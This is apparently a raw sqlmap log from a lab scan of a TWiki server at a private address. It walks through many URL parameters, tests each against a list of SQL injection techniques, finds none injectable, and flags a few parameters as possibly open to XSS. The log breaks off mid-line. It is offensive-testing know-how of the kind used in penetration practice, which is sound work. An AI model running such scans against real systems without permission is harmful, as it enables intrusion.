[18:50:17] [INFO] testing connection to the target URL [18:50:17] [INFO] testing if the target URL is stable [18:50:18] [INFO] target URL is stable [18:50:18] [INFO] testing if URI parameter '#1' is dynamic [18:50:18] [INFO] confirming that URI parameter '#1' is dynamic [18:50:18] [INFO] URI parameter '#1' is dynamic [18:50:18] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:50:18] [INFO] testing for SQL injection on URI parameter '#1*' [18:50:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:50:18] [WARNING] reflective value(s) found and filtering out [18:50:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:50:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:50:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:50:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:50:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:50:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:50:22] [INFO] testing 'MySQL inline queries' [18:50:22] [INFO] testing 'PostgreSQL inline queries' [18:50:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:50:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:50:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:50:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:50:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:50:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:50:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:50:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:50:26] [INFO] testing 'Oracle AND time-based blind' [18:50:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:50:26] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:50:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:50:37] [WARNING] URI parameter '#1*' is not injectable [18:50:37] [INFO] testing if URI parameter '#2*' is dynamic [18:50:37] [INFO] confirming that URI parameter '#2*' is dynamic [18:50:37] [INFO] URI parameter '#2*' is dynamic [18:50:37] [WARNING] heuristic (basic) test shows that URI parameter '#2*' might not be injectable [18:50:37] [INFO] testing for SQL injection on URI parameter '#2*' [18:50:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:50:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:50:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:50:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:50:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:50:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:50:40] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:50:40] [INFO] testing 'MySQL inline queries' [18:50:40] [INFO] testing 'PostgreSQL inline queries' [18:50:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:50:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:50:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:50:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:50:42] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:50:42] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:50:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:50:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:50:44] [INFO] testing 'Oracle AND time-based blind' [18:50:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:50:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:50:55] [WARNING] URI parameter '#2*' is not injectable [18:50:55] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 60: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?skin=print do you want to test this URL? [Y/n/q] Y [18:50:55] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?skin=print' [18:50:55] [INFO] testing connection to the target URL [18:50:55] [INFO] testing if the target URL is stable [18:50:56] [INFO] target URL is stable [18:50:56] [INFO] testing if GET parameter 'skin' is dynamic [18:50:56] [INFO] confirming that GET parameter 'skin' is dynamic [18:50:56] [INFO] GET parameter 'skin' is dynamic [18:50:56] [INFO] heuristics detected web page charset 'ascii' [18:50:56] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:50:56] [INFO] testing for SQL injection on GET parameter 'skin' [18:50:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:50:57] [WARNING] reflective value(s) found and filtering out [18:50:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:50:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:50:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:50:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:51:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:51:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:51:00] [INFO] testing 'MySQL inline queries' [18:51:01] [INFO] testing 'PostgreSQL inline queries' [18:51:01] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:51:01] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:51:01] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:51:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:51:02] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:51:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:51:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:51:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:51:04] [INFO] testing 'Oracle AND time-based blind' [18:51:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:51:05] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:51:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:51:17] [WARNING] GET parameter 'skin' is not injectable [18:51:17] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 61: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TextFormattingFAQ?rev1=1.15&rev2=1.14 do you want to test this URL? [Y/n/q] Y [18:51:17] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TextFormattingFAQ?rev1=1.15&rev2=1.14' [18:51:17] [INFO] testing connection to the target URL [18:51:18] [INFO] testing if the target URL is stable [18:51:19] [INFO] target URL is stable [18:51:19] [INFO] testing if GET parameter 'rev1' is dynamic [18:51:19] [WARNING] GET parameter 'rev1' does not appear dynamic [18:51:19] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:51:19] [INFO] testing for SQL injection on GET parameter 'rev1' [18:51:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:51:20] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:51:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:51:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:51:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:51:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:51:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:51:22] [INFO] testing 'MySQL inline queries' [18:51:22] [INFO] testing 'PostgreSQL inline queries' [18:51:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:51:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:51:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:51:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:51:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:51:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:51:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:51:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:51:25] [INFO] testing 'Oracle AND time-based blind' [18:51:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:51:26] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:51:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:51:38] [WARNING] GET parameter 'rev1' is not injectable [18:51:38] [INFO] testing if GET parameter 'rev2' is dynamic [18:51:38] [WARNING] GET parameter 'rev2' does not appear dynamic [18:51:38] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:51:38] [INFO] testing for SQL injection on GET parameter 'rev2' [18:51:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:51:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:51:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:51:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:51:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:51:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:51:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:51:42] [INFO] testing 'MySQL inline queries' [18:51:43] [INFO] testing 'PostgreSQL inline queries' [18:51:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:51:44] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:51:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:51:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:51:45] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:51:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:51:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:51:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:51:47] [INFO] testing 'Oracle AND time-based blind' [18:51:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:51:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:51:59] [WARNING] GET parameter 'rev2' is not injectable [18:51:59] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 62: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=1.14 do you want to test this URL? [Y/n/q] Y [18:51:59] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=1.14' [18:51:59] [INFO] testing connection to the target URL [18:51:59] [INFO] testing if the target URL is stable [18:52:00] [INFO] target URL is stable [18:52:00] [INFO] testing if GET parameter 'rev' is dynamic [18:52:00] [WARNING] GET parameter 'rev' does not appear dynamic [18:52:00] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:52:00] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:52:00] [INFO] testing for SQL injection on GET parameter 'rev' [18:52:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:52:00] [WARNING] reflective value(s) found and filtering out [18:52:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:52:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:52:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:52:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:52:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:52:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:52:04] [INFO] testing 'MySQL inline queries' [18:52:04] [INFO] testing 'PostgreSQL inline queries' [18:52:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:52:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:52:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:52:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:52:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:52:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:52:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:52:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:52:07] [INFO] testing 'Oracle AND time-based blind' [18:52:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:52:08] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:52:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:52:21] [WARNING] GET parameter 'rev' is not injectable [18:52:21] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:52:21] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TextFormattingFAQ?rev1=1.14&rev2=1.13' [18:52:21] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TextFormattingFAQ?rev=1.13' URL 63: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TextFormattingFAQ?template=oopsmore¶m1=1.15¶m2=1.15 do you want to test this URL? [Y/n/q] Y [18:52:21] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TextFormattingFAQ?template=oopsmore¶m1=1.15¶m2=1.15' [18:52:21] [INFO] testing connection to the target URL [18:52:22] [INFO] testing if the target URL is stable [18:52:22] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:52:22] [INFO] testing if GET parameter 'template' is dynamic [18:52:23] [INFO] confirming that GET parameter 'template' is dynamic [18:52:23] [INFO] GET parameter 'template' is dynamic [18:52:23] [INFO] heuristics detected web page charset 'ascii' [18:52:23] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:52:23] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:52:23] [INFO] testing for SQL injection on GET parameter 'template' [18:52:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:52:23] [WARNING] reflective value(s) found and filtering out [18:52:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:52:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:52:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:52:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:52:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:52:25] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:52:25] [INFO] testing 'MySQL inline queries' [18:52:26] [INFO] testing 'PostgreSQL inline queries' [18:52:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:52:26] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:52:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:52:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:52:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:52:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:52:27] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:52:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:52:28] [INFO] testing 'Oracle AND time-based blind' [18:52:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:52:29] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:52:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:52:37] [WARNING] GET parameter 'template' is not injectable [18:52:37] [INFO] testing if GET parameter 'param1' is dynamic [18:52:37] [WARNING] GET parameter 'param1' does not appear dynamic [18:52:37] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:52:38] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:52:38] [INFO] testing for SQL injection on GET parameter 'param1' [18:52:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:52:39] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:52:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:52:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:52:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:52:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:52:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:52:42] [INFO] testing 'MySQL inline queries' [18:52:42] [INFO] testing 'PostgreSQL inline queries' [18:52:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:52:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:52:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:52:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:52:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:52:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:52:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:52:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:52:45] [INFO] testing 'Oracle AND time-based blind' [18:52:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:52:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:53:00] [WARNING] GET parameter 'param1' is not injectable [18:53:00] [INFO] testing if GET parameter 'param2' is dynamic [18:53:00] [WARNING] GET parameter 'param2' does not appear dynamic [18:53:00] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:53:00] [INFO] testing for SQL injection on GET parameter 'param2' [18:53:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:53:01] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:53:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:53:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:53:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:53:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:53:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:53:04] [INFO] testing 'MySQL inline queries' [18:53:04] [INFO] testing 'PostgreSQL inline queries' [18:53:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:53:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:53:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:53:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:53:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:53:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:53:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:53:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:53:08] [INFO] testing 'Oracle AND time-based blind' [18:53:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:53:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:53:22] [WARNING] GET parameter 'param2' is not injectable [18:53:22] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 64: GET http://192.168.1.113:80/twiki/bin/edit/Main/MartinRaabe?topicparent=TWiki.TWikiDocumentation do you want to test this URL? [Y/n/q] Y [18:53:22] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/MartinRaabe?topicparent=TWiki.TWikiDocumentation' [18:53:22] [INFO] testing connection to the target URL [18:53:23] [INFO] testing if the target URL is stable [18:53:24] [INFO] target URL is stable [18:53:24] [INFO] testing if GET parameter 'topicparent' is dynamic [18:53:24] [WARNING] GET parameter 'topicparent' does not appear dynamic [18:53:24] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [18:53:24] [INFO] testing for SQL injection on GET parameter 'topicparent' [18:53:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:53:24] [WARNING] reflective value(s) found and filtering out [18:53:25] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:53:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:53:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:53:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:53:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:53:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:53:27] [INFO] testing 'MySQL inline queries' [18:53:27] [INFO] testing 'PostgreSQL inline queries' [18:53:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:53:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:53:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:53:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:53:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:53:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:53:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:53:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:53:30] [INFO] testing 'Oracle AND time-based blind' [18:53:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:53:31] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:53:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:53:41] [WARNING] GET parameter 'topicparent' is not injectable [18:53:41] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 65: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/NewTopic?topicparent=TWiki.TWikiDocumentation do you want to test this URL? [Y/n/q] Y [18:53:41] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/NewTopic?topicparent=TWiki.TWikiDocumentation' [18:53:41] [INFO] testing connection to the target URL [18:53:42] [INFO] testing if the target URL is stable [18:53:42] [INFO] target URL is stable [18:53:42] [INFO] testing if GET parameter 'topicparent' is dynamic [18:53:43] [WARNING] GET parameter 'topicparent' does not appear dynamic [18:53:43] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [18:53:43] [INFO] testing for SQL injection on GET parameter 'topicparent' [18:53:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:53:43] [WARNING] reflective value(s) found and filtering out [18:53:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:53:44] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:53:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:53:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:53:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:53:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:53:46] [INFO] testing 'MySQL inline queries' [18:53:46] [INFO] testing 'PostgreSQL inline queries' [18:53:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:53:46] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:53:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:53:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:53:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:53:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:53:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:53:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:53:49] [INFO] testing 'Oracle AND time-based blind' [18:53:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:53:49] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:53:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:54:00] [WARNING] GET parameter 'topicparent' is not injectable [18:54:00] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 66: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/NotExistingYet?topicparent=TWiki.TWikiDocumentation do you want to test this URL? [Y/n/q] Y [18:54:00] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/NotExistingYet?topicparent=TWiki.TWikiDocumentation' [18:54:00] [INFO] testing connection to the target URL [18:54:01] [INFO] testing if the target URL is stable [18:54:02] [INFO] target URL is stable [18:54:02] [INFO] testing if GET parameter 'topicparent' is dynamic [18:54:02] [WARNING] GET parameter 'topicparent' does not appear dynamic [18:54:02] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [18:54:02] [INFO] testing for SQL injection on GET parameter 'topicparent' [18:54:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:54:02] [WARNING] reflective value(s) found and filtering out [18:54:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:54:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:54:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:54:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:54:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:54:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:54:05] [INFO] testing 'MySQL inline queries' [18:54:05] [INFO] testing 'PostgreSQL inline queries' [18:54:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:54:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:54:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:54:06] [INFO] testing 'Microsoft SQL 